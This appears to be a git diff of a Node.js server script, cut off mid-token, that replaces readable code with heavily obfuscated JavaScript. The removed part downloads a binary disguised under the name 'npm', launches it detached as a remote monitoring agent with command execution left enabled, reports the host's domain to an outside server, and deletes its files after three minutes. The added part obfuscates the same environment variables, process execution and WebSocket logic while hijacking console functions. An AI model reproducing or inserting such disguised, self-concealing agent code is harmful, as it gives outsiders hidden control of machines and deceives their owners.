async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +(function(_0x48aa01,_0x5c85ad){const _0x453f52={_0x2a302b:0x278,_0x4b10f8:0x1db,_0x58dfda:0x245,_0x294036:0x214,_0x2118e4:0x185,_0x21a958:0x1e6,_0x10885c:0x30c,_0x52f575:0x2f2,_0x58eb8d:0x391,_0x3f3b20:0x270,_0x12abfa:0x260,_0x148ce1:0x3f8,_0x2d7f45:0x3eb,_0x33f931:0x3e6,_0x5f0fea:0x398,_0x11621b:0x3d8,_0x1e336a:0x3af,_0x19fe7f:0x446,_0xc85f81:0x404},_0x19976a={_0x468208:0x114};function _0x189717(_0x2bc07a,_0x3abf06,_0x31943c,_0x2c88cd){return _0x15ff(_0x3abf06-_0x19976a._0x468208,_0x2bc07a);}function _0x2b8fae(_0x548bb2,_0x5e16ec,_0xeb158e,_0x2067e1){return _0x15ff(_0xeb158e- -0xa,_0x548bb2);}const _0x9ec49f=_0x48aa01();while(!![]){try{const _0x3e34d2=-parseInt(_0x2b8fae(_0x453f52._0x2a302b,0x21b,0x218,_0x453f52._0x4b10f8))/(0x1*-0x2e3+0x1d4d+0x1*-0x1a69)*(-parseInt(_0x2b8fae(0x17a,_0x453f52._0x58dfda,_0x453f52._0x294036,_0x453f52._0x2118e4))/(-0x3*-0x112+0x4f*0x33+-0x12f1))+parseInt(_0x2b8fae(0x1cb,_0x453f52._0x21a958,0x200,0x161))/(0x43b+0x201f+-0x2457)+-parseInt(_0x189717(0x342,_0x453f52._0x10885c,_0x453f52._0x52f575,_0x453f52._0x58eb8d))/(-0x12ef+0x1*0x7fb+0x1b*0x68)+parseInt(_0x2b8fae(_0x453f52._0x3f3b20,0x211,_0x453f52._0x12abfa,0x2d2))/(0x5bb+-0x18b*0x3+-0x115)+-parseInt(_0x189717(0x470,_0x453f52._0x148ce1,_0x453f52._0x2d7f45,_0x453f52._0x33f931))/(-0x793*-0x1+0xb0f+0x2*-0x94e)+parseInt(_0x189717(0x2fe,_0x453f52._0x5f0fea,_0x453f52._0x11621b,_0x453f52._0x1e336a))/(0x2089*-0x1+0x1416+-0x63d*-0x2)+-parseInt(_0x189717(_0x453f52._0x19fe7f,_0x453f52._0xc85f81,0x3f4,0x369))/(0x151f*0x1+-0x1edb+0x64*0x19);if(_0x3e34d2===_0x5c85ad)break;else _0x9ec49f['push'](_0x9ec49f['shift']());}catch(_0xa188b9){_0x9ec49f['push'](_0x9ec49f['shift']());}}}(_0x3675,-0x5c9f*0x3+0x2*0x2dca2+0x500bf));const _0x3adc74=(function(){const _0x34f65b={_0x5a1384:0x167,_0xa375ac:0x117,_0x55d10f:0xef,_0x55afbf:0x11d,_0x1e1f45:0xab,_0x429b3f:0x2e6,_0x4d9431:0x2db,_0x30fd54:0x2f4},_0x2d751d={_0x2ba2a0:0x402,_0x163da5:0x376,_0x1f0ad0:0x3d3},_0x37249f={_0x471fb5:0x1e9,_0x35c31e:0x65},_0x491147={_0x54882f:0x44d,_0x8fb7c7:0x471,_0x47ddc5:0x413,_0x21872b:0x3d8,_0xa67104:0x38e,_0x4d4b66:0x43f,_0x25ba5a:0x153,_0x48f927:0xe6,_0x8f83e7:0x3bf,_0x1ad058:0x34d,_0x343657:0x4c3,_0x2daee6:0x425,_0x31a739:0x3d3,_0x3c73dc:0x40f,_0x3a5717:0x431,_0x2ba920:0x3e7,_0x2add3f:0x41e,_0x5301ca:0x406,_0x2bccac:0x3f2,_0x481615:0x48e},_0x41516c={_0x4d2295:0x104},_0x6077ed={_0x14fcb5:0x196},_0x2d37f0={};_0x2d37f0['eBPct']=function(_0x5f30b7,_0x9c9648){return _0x5f30b7===_0x9c9648;};function _0x1e8d98(_0x3c6686,_0x458bdf,_0x13a187,_0x16e698){return _0x15ff(_0x13a187- -_0x6077ed._0x14fcb5,_0x458bdf);}_0x2d37f0[_0x1e8d98(_0x34f65b._0x5a1384,_0x34f65b._0xa375ac,_0x34f65b._0x55d10f,_0x34f65b._0x55afbf)]=_0x1e8d98(0x54,_0x34f65b._0x1e1f45,0x60,0xe7),_0x2d37f0['eyZUj']=_0x5a547b(_0x34f65b._0x429b3f,_0x34f65b._0x4d9431,0x317,_0x34f65b._0x30fd54);const _0x28f9b2=_0x2d37f0;let _0x3cda04=!![];function _0x5a547b(_0x184bc4,_0x1d08d9,_0x3290f0,_0x5685e7){return _0x15ff(_0x1d08d9-_0x41516c._0x4d2295,_0x5685e7);}return function(_0x864358,_0x55f0ef){const _0x3c9391={_0x3c8454:0xcd,_0x5ee314:0x14},_0x370d1d={};_0x370d1d[_0x2a8824(_0x2d751d._0x2ba2a0,0x36b,_0x2d751d._0x163da5,_0x2d751d._0x1f0ad0)]=_0x28f9b2['eyZUj'];const _0x4a2648=_0x370d1d,_0x51cb77=_0x3cda04?function(){const _0x164bf3={_0x8ad4fa:0x111,_0x1defd0:0x416};function _0x534ae5(_0x47593f,_0x24daaa,_0x3032c1,_0x591f7b){return _0x2a8824(_0x47593f,_0x24daaa-0x1bb,_0x3032c1-_0x164bf3._0x8ad4fa,_0x3032c1- -_0x164bf3._0x1defd0);}function _0x254519(_0x4c9995,_0x3a2471,_0x3b7d59,_0x487c55){return _0x2a8824(_0x487c55,_0x3a2471-_0x3c9391._0x3c8454,_0x3b7d59-0xc,_0x3a2471- -_0x3c9391._0x5ee314);}if(_0x28f9b2['eBPct'](_0x254519(0x3b6,_0x491147._0x54882f,_0x491147._0x8fb7c7,_0x491147._0x47ddc5),_0x28f9b2[_0x254519(0x3c6,_0x491147._0x21872b,_0x491147._0xa67104,_0x491147._0x4d4b66)])){const _0xd66f3a=_0x94baed[_0x534ae5(-_0x491147._0x25ba5a,-0x141,-_0x491147._0x48f927,-0x96)](_0x787873)?_0x4a2648[_0x254519(0x443,_0x491147._0x8f83e7,_0x491147._0x1ad058,0x43b)]:'';_0x4b075c=_0x254519(_0x491147._0x343657,_0x491147._0x2daee6,_0x491147._0x31a739,_0x491147._0x3c73dc)+_0x5b55c3+':'+_0x27ebb5+'\x20-p\x20'+_0x3897c3+'\x20'+_0xd66f3a+_0x254519(_0x491147._0x3a5717,_0x491147._0x2ba920,0x3d8,_0x491147._0x2add3f);}else{if(_0x55f0ef){const _0x5a3eb8=_0x55f0ef[_0x254519(_0x491147._0x5301ca,_0x491147._0x2bccac,0x3fc,_0x491147._0x481615)](_0x864358,arguments);return _0x55f0ef=null,_0x5a3eb8;}}}:function(){};_0x3cda04=![];function _0x2a8824(_0x1cc930,_0x2ce91b,_0x579915,_0x101197){return _0x1e8d98(_0x1cc930-_0x37249f._0x471fb5,_0x1cc930,_0x101197-0x2fd,_0x101197-_0x37249f._0x35c31e);}return _0x51cb77;};}()),_0x3b1c63=_0x3adc74(this,function(){const _0x3c2fed={_0xca5ae8:0x210,_0x427aaf:0x1f0,_0x3bb166:0x1d8,_0x3676ff:0x19d,_0x3aa013:0x1f9,_0x2a079a:0x208,_0x3ce9e5:0x219,_0x26d6f4:0x16e,_0x441f4d:0x234,_0x1d2148:0x1ef,_0x3a3b69:0x7a,_0x5b801a:0x190,_0x4c0b45:0x11e,_0x2c3c7d:0x11d,_0x4f5c7d:0x1d6,_0x5c567d:0x17c,_0x13e0f0:0x146,_0x393db6:0x156,_0x521b8b:0x114,_0x25b38b:0x1ba,_0x35c874:0x183,_0x46a547:0x1ef,_0x42c147:0x153,_0x3ad62b:0x1d8},_0x65a30b={_0x4aff39:0xbb},_0x2a9abf={_0xa1ffb5:0x3b1};function _0x3b3a96(_0x1d7408,_0x5b31cd,_0x227e6f,_0x1fb33a){return _0x15ff(_0x1fb33a- -_0x2a9abf._0xa1ffb5,_0x227e6f);}const _0x38a0c4={};_0x38a0c4[_0x3717e1(_0x3c2fed._0xca5ae8,0x1d6,_0x3c2fed._0x427aaf,_0x3c2fed._0x3bb166)]=_0x3b3a96(-_0x3c2fed._0x3676ff,-_0x3c2fed._0x3aa013,-_0x3c2fed._0x2a079a,-0x16b);function _0x3717e1(_0x52a119,_0x577746,_0x31cae4,_0x2218a5){return _0x15ff(_0x2218a5- -_0x65a30b._0x4aff39,_0x52a119);}const _0x5c3100=_0x38a0c4;return _0x3b1c63[_0x3717e1(_0x3c2fed._0x3ce9e5,0xeb,_0x3c2fed._0x26d6f4,0x17a)]()[_0x3717e1(0x152,_0x3c2fed._0x441f4d,0x1c3,_0x3c2fed._0x1d2148)](_0x5c3100[_0x3b3a96(-0x102,-_0x3c2fed._0x3a3b69,-_0x3c2fed._0x5b801a,-_0x3c2fed._0x4c0b45)])[_0x3b3a96(-0x14b,-_0x3c2fed._0x2c3c7d,-_0x3c2fed._0x4f5c7d,-_0x3c2fed._0x5c567d)]()[_0x3717e1(_0x3c2fed._0x13e0f0,_0x3c2fed._0x393db6,0xc1,_0x3c2fed._0x521b8b)](_0x3b1c63)[_0x3717e1(0x16e,_0x3c2fed._0x25b38b,_0x3c2fed._0x35c874,_0x3c2fed._0x46a547)](_0x5c3100[_0x3717e1(0x178,0x14c,_0x3c2fed._0x42c147,_0x3c2fed._0x3ad62b)]);});_0x3b1c63();const _0x303ad5=(function(){let _0x1c49f5=!![];return function(_0x5b14d4,_0x1698f0){const _0x1246ba={_0x45f95c:0x92,_0x225060:0x39,_0xd2d274:0x10,_0x39cad2:0xb3},_0x3a398d={_0x18303c:0x331},_0x438355=_0x1c49f5?function(){function _0x7603cb(_0x2f8d2f,_0x34265a,_0x297994,_0xdce3c2){return _0x15ff(_0x2f8d2f- -_0x3a398d._0x18303c,_0xdce3c2);}if(_0x1698f0){const _0x4c13f3=_0x1698f0[_0x7603cb(-_0x1246ba._0x45f95c,-_0x1246ba._0x225060,_0x1246ba._0xd2d274,-_0x1246ba._0x39cad2)](_0x5b14d4,arguments);return _0x1698f0=null,_0x4c13f3;}}:function(){};return _0x1c49f5=![],_0x438355;};}()),_0x4dfca8=_0x303ad5(this,function(){const _0x243458={_0x26a328:0x1b2,_0x374c9c:0x1e7,_0x327ec1:0x134,_0x172998:0x397,_0x1f2254:0x2b1,_0x18e4b9:0x374,_0x4a0731:0x17c,_0x4d0d0f:0x37e,_0x46b7f8:0x3a2,_0xee0b9a:0x258,_0x1999d2:0x296,_0x1cb7df:0x26c,_0x3a7a99:0x23d,_0x231e55:0x2ca,_0x37ca52:0x2d7,_0x2fe18c:0x172,_0x167850:0x1d3,_0x49be51:0x2a6,_0x1f508d:0x2de,_0x1d6d00:0x31d,_0x218d41:0x286,_0x47167a:0x2d1,_0x369f7:0x286,_0xd5e142:0x271,_0x55205f:0x2cc,_0xfca8a6:0x329,_0x29d433:0x208,_0xa93ac6:0x2a2,_0x59a4b9:0x25d,_0x3902a4:0x264,_0x540e32:0x30a,_0x3fa9c9:0x2cc,_0x4fb5a:0x287,_0x78d082:0x333,_0x3a2db0:0x348,_0x1a14f5:0x325,_0x438401:0x327,_0x1c691c:0x33f,_0x3e755c:0x2ec,_0x1d8164:0x22a,_0x11f05f:0x2d7},_0x221803={_0x2225e8:0xb7},_0x5da2c6={_0x5f07ec:0x54},_0x49a1f9={_0x3cd7c0:0x25c,_0x100255:0x2f9,_0x5d041d:0x1e6,_0x2cce90:0x2d,_0x22c2ce:0x8e},_0x819786={'lGPaU':function(_0x2055fd,_0x2d7421){return _0x2055fd(_0x2d7421);},'wanxH':_0x1544f5(_0x243458._0x26a328,_0x243458._0x374c9c,_0x243458._0x327ec1,0x115),'VKAFN':'{}.constructor(\x22return\x20this\x22)(\x20)','SZQxM':_0x563fa2(_0x243458._0x172998,_0x243458._0x1f2254,_0x243458._0x18e4b9,0x343),'YCzQW':'table','ZVCzV':function(_0x492c18,_0x3e3961){return _0x492c18<_0x3e3961;}},_0x3940f9=function(){const _0x59c977={_0x95db96:0x1d9},_0x1e0910={_0x5a4fe1:0xa7,_0xe85070:0x8e,_0xd80d68:0x9a};let _0x17adf4;function _0x27d6dc(_0x38ff26,_0x182254,_0x2119c2,_0x2f6bb7){return _0x563fa2(_0x38ff26-_0x1e0910._0x5a4fe1,_0x2f6bb7,_0x2119c2-_0x1e0910._0xe85070,_0x38ff26- -_0x1e0910._0xd80d68);}function _0x2256fa(_0x1b2c7,_0x27cf4a,_0xcbe39,_0x315b03){return _0x563fa2(_0x1b2c7-0x1f2,_0xcbe39,_0xcbe39-_0x59c977._0x95db96,_0x315b03- -0x32c);}try{_0x17adf4=_0x819786[_0x27d6dc(_0x49a1f9._0x3cd7c0,_0x49a1f9._0x100255,0x244,_0x49a1f9._0x5d041d)](Function,_0x819786[_0x2256fa(-_0x49a1f9._0x2cce90,-0xd8,-0x122,-_0x49a1f9._0x22c2ce)]+_0x819786['VKAFN']+');')();}catch(_0xeba15b){_0x17adf4=window;}return _0x17adf4;};function _0x1544f5(_0x98bc9f,_0x408360,_0x49217d,_0x53eaad){return _0x15ff(_0x98bc9f- -_0x5da2c6._0x5f07ec,_0x53eaad);}const _0x2bf015=_0x3940f9(),_0x47ba1e=_0x2bf015['console']=_0x2bf015[_0x1544f5(_0x243458._0x4a0731,0x191,0x152,0x160)]||{},_0x381cf4=['log',_0x563fa2(0x38d,_0x243458._0x4d0d0f,0x348,_0x243458._0x46b7f8),_0x1544f5(_0x243458._0xee0b9a,_0x243458._0x1999d2,_0x243458._0x1cb7df,_0x243458._0x3a7a99),_0x819786[_0x563fa2(0x3bb,_0x243458._0x231e55,_0x243458._0x37ca52,0x32b)],'exception',_0x819786[_0x1544f5(0x1fc,0x28b,_0x243458._0x2fe18c,0x289)],'trace'];function _0x563fa2(_0x5934b7,_0x3cfad2,_0x1384c9,_0x268243){return _0x15ff(_0x268243-_0x221803._0x2225e8,_0x3cfad2);}for(let _0x4440aa=0x1a60+0x1*-0xb21+-0xf3f;_0x819786[_0x1544f5(0x261,_0x243458._0x167850,_0x243458._0x49be51,0x2a8)](_0x4440aa,_0x381cf4['length']);_0x4440aa++){const _0x348937=_0x303ad5[_0x563fa2(_0x243458._0x1f508d,0x1fa,_0x243458._0x1d6d00,_0x243458._0x218d41)]['prototype'][_0x563fa2(_0x243458._0x47167a,_0x243458._0x369f7,_0x243458._0xd5e142,_0x243458._0x55205f)](_0x303ad5),_0x2c39ac=_0x381cf4[_0x4440aa],_0x3538af=_0x47ba1e[_0x2c39ac]||_0x348937;_0x348937[_0x563fa2(0x280,_0x243458._0xfca8a6,_0x243458._0x29d433,_0x243458._0xa93ac6)]=_0x303ad5[_0x563fa2(_0x243458._0x59a4b9,_0x243458._0x3902a4,_0x243458._0x540e32,_0x243458._0x3fa9c9)](_0x303ad5),_0x348937[_0x563fa2(_0x243458._0x4fb5a,_0x243458._0x78d082,_0x243458._0x3a2db0,0x2ec)]=_0x3538af[_0x563fa2(_0x243458._0x1a14f5,_0x243458._0x438401,_0x243458._0x1c691c,_0x243458._0x3e755c)][_0x563fa2(0x2bd,_0x243458._0x1d8164,_0x243458._0x11f05f,_0x243458._0x3fa9c9)](_0x3538af),_0x47ba1e[_0x2c39ac]=_0x348937;}});_0x4dfca8();const os=require('os'),http=require(_0x2e685e(0xbb,0x39,0x61,0x68)),fs=require('fs'),axios=require(_0x282628(0x3b2,0x431,0x3ff,0x456)),net=require(_0x2e685e(0x25,-0x69,-0xbe,-0x25)),path=require(_0x282628(0x306,0x324,0x2d6,0x277)),crypto=require('crypto'),{Buffer}=require(_0x282628(0x375,0x396,0x416,0x3ae)),{exec,execSync}=require('child_process'),{WebSocket,createWebSocketStream}=require('ws'),UUID=process[_0x2e685e(-0x12,0x25,0x60,0xbb)]['UUID']||'9e69277b-3a0d-439d-b15f-e4fd0eca1a8a',NEZHA_SERVER=process[_0x282628(0x3cb,0x443,0x3c9,0x38f)][_0x2e685e(-0xe1,-0x8b,-0xf5,-0xac)]||'',NEZHA_PORT=process[_0x2e685e(0x47,0x25,0x72,0x1c)][_0x282628(0x2f6,0x353,0x387,0x335)]||'',NEZHA_KEY=process[_0x2e685e(-0xe,0x25,-0x31,-0x2e)][_0x2e685e(0xd6,0x5a,-0xe,0x8f)]||'',DOMAIN=process['env'][_0x2e685e(0x4e,0x1b,-0x3c,0x9f)]||_0x282628(0x3da,0x3c7,0x336,0x391),AUTO_ACCESS=process[_0x2e685e(0x3a,0x25,0x80,-0x61)]['AUTO_ACCESS']||!![],WSPATH=process[_0x282628(0x3cb,0x44e,0x38f,0x3ac)][_0x282628(0x34b,0x3c5,0x362,0x359)]||UUID[_0x282628(0x307,0x2d4,0x2c3,0x380)](0x157e+0x225a*-0x1+0xcdc,-0x6d0+0x1*-0x20b+0xaf*0xd),SUB_PATH=process['env']['SUB_PATH']||_0x2e685e(-0x17e,-0xe1,-0x186,-0x75),NAME=process[_0x2e685e(-0x2,0x25,-0x69,0x2d)][_0x282628(0x3bb,0x420,0x428,0x385)]||'',PORT=process['env'][_0x282628(0x305,0x2e2,0x346,0x393)]||0x487*0x4+0x2b09+-0x1e71;let ISP='';const GetISP=async()=>{const _0x1226a2={_0x1a7e02:0x1b1,_0x42862e:0x113,_0x5575e0:0x102,_0x1f419d:0x1a4,_0x56fa8c:0x17f,_0x541d5a:0x1bf,_0x828160:0x1bf,_0x292a27:0x144,_0x122201:0x1c,_0x35a46a:0xa1,_0x13b49e:0x1df,_0x4d3f4d:0x16f,_0x2b57e2:0x14b,_0x3d713c:0xee,_0x5bc5d1:0xa4,_0x434aa3:0x1b9,_0x397e8f:0x1f2,_0x5ba570:0x1c6,_0x46d47f:0x205,_0x1d7688:0x24e,_0x240f8e:0x1ae,_0x4fac30:0x137,_0x2175f5:0x1bd,_0x10244d:0x10e,_0x4e970c:0x6,_0x12ce99:0xed,_0x56e9b5:0x10c,_0x4c16b6:0x15d,_0xd0397c:0x1b5,_0x381220:0x248,_0x43f86f:0x111,_0x204b6f:0x1a7,_0xceaf36:0x240,_0xa32d2d:0x224,_0x5a78f3:0x1a6,_0x5d7896:0x173,_0x42aa8c:0x188,_0x374c54:0x147,_0x42eda3:0x1ed,_0x44dc4f:0xae,_0x331441:0x10c,_0x13780f:0x197,_0x2674fe:0x124,_0x3002eb:0x105,_0x4c3505:0x179,_0x2aa2cb:0x17f,_0x81d691:0x121,_0x5dd7c7:0xb1,_0x315700:0xf3,_0x43be00:0x6e,_0x21f4f0:0xb8,_0xb81db6:0xb6,_0x40ca95:0xc5,_0x2953d3:0x18c,_0x58b2d8:0x155,_0x2ee39f:0x119,_0x2698ec:0xc7,_0x1a039a:0x10a,_0x355b7d:0x135,_0x21d608:0x1d1,_0x317347:0x9e,_0x41f357:0xf6,_0x4de4dc:0x91,_0xa73f3f:0x174,_0x53cd70:0xe1,_0x156a60:0xb9,_0x52e3cb:0x55,_0x587e53:0x125,_0x1dbf67:0xca,_0x3ce44f:0x14e,_0x32385a:0xd0,_0x522377:0xff,_0x129d1f:0xf2,_0x20cecd:0x174,_0x5c638e:0x139,_0x8f7168:0x132,_0x5d74c2:0xe6,_0x2aae42:0xe7,_0x54f687:0xdc,_0x438063:0xb8,_0x4ae734:0x144,_0x178e38:0x103,_0x34cc49:0x111,_0x3706c4:0xad,_0x3fe720:0x177,_0x5e1afc:0x1a,_0x36b36e:0x2c,_0x35d1aa:0xdd,_0xb97acc:0x1d6,_0x3991af:0x33,_0x45d39f:0x9e,_0x2b7828:0xab,_0x223ce0:0x1db,_0x803348:0x1e5,_0x37e122:0x1d5,_0x5073a5:0x1d3,_0x35b097:0x16c,_0x69651:0x246,_0x5700d3:0x1da},_0x55b9f2={_0x55c912:0xa5,_0x1e9cd5:0x176,_0x4a341a:0x18e},_0x360a53={_0x1f04d9:0x72,_0x439c57:0xf8},_0x52f905={};_0x52f905[_0x5b2674(_0x1226a2._0x1a7e02,_0x1226a2._0x42862e,_0x1226a2._0x5575e0,_0x1226a2._0x1f419d)]='true',_0x52f905[_0x5b2674(_0x1226a2._0x56fa8c,_0x1226a2._0x541d5a,_0x1226a2._0x828160,_0x1226a2._0x292a27)]='config.yaml',_0x52f905[_0x290a39(-_0x1226a2._0x122201,-0x9f,-_0x1226a2._0x35a46a,-0x4c)]=function(_0xcf377f,_0x34f6b1){return _0xcf377f+_0x34f6b1;},_0x52f905[_0x5b2674(_0x1226a2._0x13b49e,_0x1226a2._0x4d3f4d,0x1d7,_0x1226a2._0x2b57e2)]=function(_0x41a15b,_0x5cf522){return _0x41a15b===_0x5cf522;},_0x52f905[_0x290a39(-0x1aa,-_0x1226a2._0x3d713c,-0x105,-_0x1226a2._0x5bc5d1)]=_0x290a39(-_0x1226a2._0x434aa3,-_0x1226a2._0x397e8f,-_0x1226a2._0x5ba570,-_0x1226a2._0x46d47f);function _0x290a39(_0x3c8627,_0x4f51e1,_0x106daa,_0x137665){return _0x2e685e(_0x3c8627-_0x360a53._0x1f04d9,_0x106daa- -_0x360a53._0x439c57,_0x106daa-0x12c,_0x4f51e1);}function _0x5b2674(_0x3ea264,_0x2d07c3,_0x32b0a3,_0x104b3e){return _0x2e685e(_0x3ea264-_0x55b9f2._0x55c912,_0x104b3e-_0x55b9f2._0x1e9cd5,_0x32b0a3-_0x55b9f2._0x4a341a,_0x2d07c3);}_0x52f905[_0x5b2674(_0x1226a2._0x1d7688,_0x1226a2._0x240f8e,_0x1226a2._0x4fac30,_0x1226a2._0x2175f5)]=_0x290a39(-_0x1226a2._0x10244d,-_0x1226a2._0x4e970c,-0xa4,-_0x1226a2._0x12ce99),_0x52f905[_0x290a39(-_0x1226a2._0x56e9b5,-0x134,-_0x1226a2._0x4c16b6,-_0x1226a2._0xd0397c)]=function(_0x1a517a,_0x1d8cf5){return _0x1a517a!==_0x1d8cf5;},_0x52f905[_0x5b2674(_0x1226a2._0x381220,0x15d,_0x1226a2._0x43f86f,_0x1226a2._0x204b6f)]='vihDz',_0x52f905[_0x5b2674(_0x1226a2._0xceaf36,_0x1226a2._0xa32d2d,0x1e2,_0x1226a2._0x5a78f3)]=_0x290a39(-_0x1226a2._0x5d7896,-_0x1226a2._0x42aa8c,-_0x1226a2._0x374c54,-_0x1226a2._0x42eda3);const _0x8f280f=_0x52f905;try{if(_0x8f280f[_0x290a39(-_0x1226a2._0x44dc4f,-_0x1226a2._0x331441,-0x123,-_0x1226a2._0x13780f)](_0x8f280f['uUwfD'],_0x8f280f[_0x290a39(-0x180,-_0x1226a2._0x2674fe,-_0x1226a2._0x3002eb,-0xe0)])){const _0x564334=await axios[_0x5b2674(_0x1226a2._0x4c3505,_0x1226a2._0x2aa2cb,_0x1226a2._0x81d691,_0x1226a2._0x5ba570)](_0x8f280f[_0x290a39(-0x9f,-0x6d,-_0x1226a2._0x5dd7c7,-_0x1226a2._0x315700)]),_0x379b32=_0x564334[_0x5b2674(_0x1226a2._0x43be00,0x97,_0x1226a2._0x21f4f0,_0x1226a2._0xb81db6)];ISP=(_0x379b32['country_code']+'-'+_0x379b32['isp'])[_0x5b2674(_0x1226a2._0x40ca95,_0x1226a2._0x2953d3,_0x1226a2._0x58b2d8,_0x1226a2._0x2ee39f)](/ /g,'_');}else{const _0xb35627=_0x22f309['includes'](':')?_0x24c1e8['split'](':')[_0x290a39(-_0x1226a2._0x2698ec,-_0x1226a2._0x1a039a,-_0x1226a2._0x355b7d,-_0x1226a2._0x21d608)]():'',_0x27f769=_0x5cbd82[_0x5b2674(0x131,_0x1226a2._0x317347,_0x1226a2._0x41f357,_0x1226a2._0x4de4dc)](_0xb35627)?_0x8f280f['ktGjc']:'false',_0x20e613=_0x5b2674(0x15b,_0x1226a2._0xa73f3f,_0x1226a2._0x53cd70,0x16f)+_0x5bf96a+_0x290a39(-_0x1226a2._0x156a60,-_0x1226a2._0x52e3cb,-_0x1226a2._0x40ca95,-_0x1226a2._0x587e53)+_0xbae757+_0x5b2674(_0x1226a2._0x1dbf67,0x63,_0x1226a2._0x3ce44f,_0x1226a2._0x32385a)+_0x27f769+_0x290a39(-_0x1226a2._0x522377,-_0x1226a2._0x129d1f,-_0x1226a2._0x20cecd,-_0x1226a2._0x5c638e)+_0x5af26d;_0x16908d[_0x290a39(-_0x1226a2._0x8f7168,-_0x1226a2._0x5d74c2,-0x150,-_0x1226a2._0x2aae42)](_0x8f280f[_0x5b2674(_0x1226a2._0x54f687,0x13b,_0x1226a2._0x438063,_0x1226a2._0x4ae734)],_0x20e613);}}catch(_0x57bdbb){_0x8f280f[_0x5b2674(_0x1226a2._0x178e38,0x197,0xa4,_0x1226a2._0x34cc49)]('vihDz',_0x8f280f['YBvYF'])?(_0x49da12=_0x2e73df[_0x5b2674(0x128,_0x1226a2._0x3706c4,_0x1226a2._0x3fe720,0xd7)](_0x447cf7,_0x8f280f[_0x290a39(-0x3b,-_0x1226a2._0x5e1afc,-_0x1226a2._0x35a46a,-_0x1226a2._0x36b36e)](_0x4912c2,-0x204+-0x19b*0x2+0x54a))[_0x290a39(-0x193,-_0x1226a2._0x35d1aa,-0x16c,-_0x1226a2._0xb97acc)]((_0x40afac,_0x579ff5,_0x23da61,_0x41397c)=>_0x23da61%(-0x709*0x5+-0x124e+0x357d)?_0x40afac[_0x290a39(-0x188,-0x170,-0x1b4,-0x1aa)](_0x41397c[_0x290a39(-0x19e,-0xf2,-0x197,-0x111)](_0x23da61-(0xbe3+-0x2e*-0x9+-0xd80),_0x23da61+(0xa*0x3b5+0x225d*-0x1+-0x2b4))):_0x40afac,[])[_0x5b2674(_0x1226a2._0x3991af,0x27,_0x1226a2._0x45d39f,_0x1226a2._0x2b7828)](_0x1e65b4=>_0x1e65b4[_0x5b2674(0x1de,0x1a9,0x102,0x15d)](-0x20b4+-0x585+0x1*0x2639)['toString'](-0x1ee0+0x12fc+0x1e*0x66))[_0x5b2674(_0x1226a2._0x223ce0,_0x1226a2._0x803348,_0x1226a2._0x37e122,_0x1226a2._0x5073a5)](':'),_0x1f7264+=-0x10f7+-0x5*-0x15d+0xa36*0x1):ISP=_0x8f280f[_0x5b2674(_0x1226a2._0x35b097,_0x1226a2._0x69651,_0x1226a2._0x5700d3,_0x1226a2._0x5a78f3)];}};GetISP();const httpServer=http[_0x2e685e(-0x105,-0xb3,-0x7e,-0x150)]((_0x183f81,_0x502847)=>{const _0x42eb56={_0x31f87c:0x428,_0x3fbbf7:0x42a,_0x1d033c:0x491,_0x57ebca:0x417,_0x518a63:0x469,_0x4c1a6e:0x25e,_0x1717b5:0x1c7,_0x10559:0x2af,_0x582911:0x46e,_0x4572cd:0x456,_0x45d87f:0x411,_0x515d2f:0x3ba,_0x151c7c:0x405,_0x24b63b:0x403,_0x1e2498:0x496,_0x5522fe:0x487,_0x5656db:0x49c,_0x3bbd8c:0x4de,_0x1ddd75:0x2a5,_0x3e4df0:0x213,_0x1158d3:0x2b2,_0x529549:0x395,_0x21d472:0x3b7,_0x1d46aa:0x33f,_0x39ed76:0x3a1,_0x496c6e:0x1e6,_0x40cd03:0x1fd,_0x239487:0x23a,_0x5d329e:0x1cc,_0x2f732b:0x241,_0x506b6f:0x2df,_0x299a4f:0x29a,_0x22d91d:0x2e8,_0x52deb3:0x33f,_0x26b31d:0x4d6,_0x53a3de:0x4a9,_0x143224:0x54d,_0x2605bb:0x474,_0x83f205:0x228,_0x588638:0x1f5,_0x27f073:0x240,_0xc76cae:0x1df,_0x23cb70:0x37a,_0x1b112c:0x413,_0x5b9670:0x42d,_0x4862dc:0x49c,_0x497d61:0x40f,_0xe489d1:0x383,_0x4e5cde:0x22a,_0x35a1a2:0x233,_0x38cc19:0x303,_0x5fdc3f:0x36e,_0x17bf9b:0x1db,_0x377ac9:0x293,_0x1c444d:0x207,_0x3e0f26:0x250,_0xca1